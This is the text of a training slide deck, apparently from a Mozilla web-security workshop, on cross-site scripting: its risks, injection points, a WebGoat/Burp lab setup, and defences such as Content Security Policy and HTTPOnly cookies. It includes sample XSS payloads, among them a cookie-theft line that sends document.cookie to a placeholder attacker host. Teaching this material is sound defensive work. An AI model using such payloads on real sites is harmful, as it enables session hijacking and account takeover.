4. Agenda
• Business risk of XSS
• Understanding the vulnerability
• Attack scenarios
• Mitigation techniques
• Security enhancements
5. Risks of XSS
• Top Web Security Issue on OWASP Top 10 (2011, 2007, 2004)
• Impact: Vulnerability allows attacker to change any aspect of a
vulnerable web page
• Business Impact:
• Compromise of user accounts
• False data displayed on website
• Remote monitoring of user actions with website
• Full attacker control of content displayed and served from
website
7. Agenda
• Business risk of XSS
• Understanding the vulnerability
• Attack scenarios
• Mitigation techniques
• Security enhancements
8. Fundamental Problem
• Confusion between data for display and data to execute
• Example: Forum message discussing JavaScript
What does
<script>alert(‘hi’)</script>
do?
9. XSS Example - Intended Use
(1) User submits their name
Bob
Name:_____
submit
(2) Page displays name
Hello: Bob
submit
10. XSS Example - Attack
(1) Attacker submits malicious code
javascript
Name:_____
submit
(3) Malicious site steals
passwords & installs malware
(2) Code is now part of webpage
<div class=”featured”> Login: ___
Pass: ____
<form action=”/en-US/firefox/
users/login” method=”post”
id=”login” class=”featured-inner
object-lead”>
submit to evil site
javascript
<install malware>
<div>
<input type=”hidden”
name=”data[Login][referer]”
11. XSS Points of Attack
• HTML Element Content
<b>Hello <script>alert(1)</script></b>
• HTML Attributes
<input type="text" value=" "><script>alert(1)</script> " >
<input type="text" value=" "onmouseover= " alert(1) " >
• JavaScript
<script>x='a'</script><script>alert(1);x= 'a'</script>
• CSS
#Xsstc { background-image: url('about:blank#Hello%20World'); }
• HTML URL Parameters
<a href="http://www.site.com?test= "><script>alert(1)</script><hr >
12. Variations
• Reflected
• Attack code not stored in vulnerable site
• Exploit delivered via malicious link
• Stored
• Attack code stored in vulnerable site
• User exploited by visiting vulnerable page
• Dom
• Client side only, no server record
13. Agenda
• Business risk of XSS
• Understanding the vulnerability
• Attack scenarios
• Mitigation techniques
• Security enhancements
14. WebGoat
• Click First Link - OWASP WebGoat version 5.3.x
• Username / Password is guest / guest
16. Cross Site Scripting (XSS)
• Problem: User controlled data returned in HTTP response
contains HTML/JavaScript code
• Impact: Session Hijacking, Full Control of Page, Malicious
Redirects
• Basic XSS Test:
“ ><script>alert(document.cookie)</script>
• Cookie Theft Example:
“><script>document.location='http://attackersite/
'+document.cookie</script>
19. Using A Proxy
• Burp - Configure to listen on 8080
• Ensure “loopback only” is checked (will be by default)
20. Set Firefox Proxy
• Set Firefox proxy to 8080
• Preferences
-> Advanced
-> Network
-> Settings
• Set HTTP Proxy
• Important - clear
“No Proxy for” line
21. Confirm Setup Works
• Refresh Web Browser - it should hang
• Go to Burp -> Proxy -> Intercept (they are highlighted)
• Click “Forward” for all messages
• Should now see page in browser
22. Confirm Setup Works
• Intercept is on
• Each request will be caught by proxy
• Requires you to hit forward each time
• Intercept is off
• Requests sent through proxy automatically
• Logged in tab “proxy”->”history”
23. “Hello World” of Proxies
• Lesson: General->Http Basic
• Objective:
• Enter your name into text box
• Intercept with proxy & change entered name to different
value
• Receive response & observe modified value is reversed
Joe Sue
Attacker’s euS euS
Web Proxy Web Server
Browser
28. Agenda
• Business risk of XSS
• Understanding the vulnerability
• Attack scenarios
• Mitigation techniques
• Security enhancements
29. Content Security Policy (CSP)
• CSP - New defensive control to
eliminate XSS
Name:_____
• Allows web site to specify
where JavaScript can be loaded submit
from
• Injected JavaScript via XSS is CSP Policy
rendered inert X-Content-
• Violations & potential XSS Security-Policy:
allow 'self'; img-src
attacks are reported to web site
for investigation 'self' data:
30. XSS Example with CSP
(1) Attacker submits malicious code
javascript
Name:_____
submit
(2) CSP prevents script execution (3) Site safe to use
<div class=”featured”>
<form action=”/en-US/firefox/
users/login” method=”post”
id=”login” class=”featured-inner
object-lead”> Name:_____
javascript
<div>
<input type=”hidden”
submit
name=”data[Login][referer]”
value=”/en-US/developers/addons”
id=”LoginReferer” /><input
Violation report sent to
site.com/CSPalert
31. Implementing CSP
• Some code changes needed to externalize JavaScript
• Run CSP in report only mode to test
• Enable CSP and protect users with browsers supporting CSP
• Receive alerts on potential vulnerabilities in app and quickly
address to protect remaining users
32. CSP Violation Reporting
• Violations of CSP policy
reported to specified URL
X-Content-Security-Policy:
• Acts as XSS intrusion allow self; report-uri http://
reportcollector.example.com/
detection system collector.cgi
• CSP supported in portion of
site users, XSS IDS benefits
all
• Reported data is from client,
trust accordingly
35. Other CSP Benefits
• Prevent ClickJacking via frame-ancestors
• Control embedded frames via frame-src
• Control domains for images via img-src
• Control target domains via xhr-src
• Enforce specific protocols (https://*.foo.com)
• Future enhancement to control actions & malicious forms
36. Protecting Outdated Users
• HTTPOnly mitigates one of XSS impacts - session hijacking
• Supported in all recent browsers
• Easy, opt-in security control to protect users
Attacker’s Site
javascript
Cookie: SessionID
37. Summary
• XSS
• Untrusted user data not properly handled in response
• Exists with user data in HTML, JavaScript, CSS, etc
• Defensive Design
• Encode for context - HTML Entity encoding, JavaScript encoding,
etc
• Content Security Policy - Strong layer of defense
• HTTPOnly flag - Easy add for some benefits
• More Info - OWASP XSS Prevention Cheat Sheet
38. Next Sessions
• Upcoming
• August 16, 2011 - Hands-On Hacking Brownbag - SQL
Injection
• August 25, 2011 - OWASP Bay Area Chapter Meeting
• https://wiki.mozilla.org/WebAppSec#Schedule
• https://blog.mozilla.com/webappsec/
Notes de l'éditeur
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
* request\nThe HTTP request line leading to the policy violation; this includes the method, resource path, and HTTP version.\n* request-headers\nThe HTTP headers that were sent resulting in a violation of the Content Security Policy.\n* blocked-uri\nThe URI of the resource that was blocked from loading by the Content Security Policy. This is not sent in the cast of frame-ancestors\nviolations; in that case, you should assume the blocked URI is the same as the request URI.\n* violated-directive\nThe name of the policy section that was violated.\n* original-policy The original policy as specified by the X-Content-Security-Policy HTTP header.\n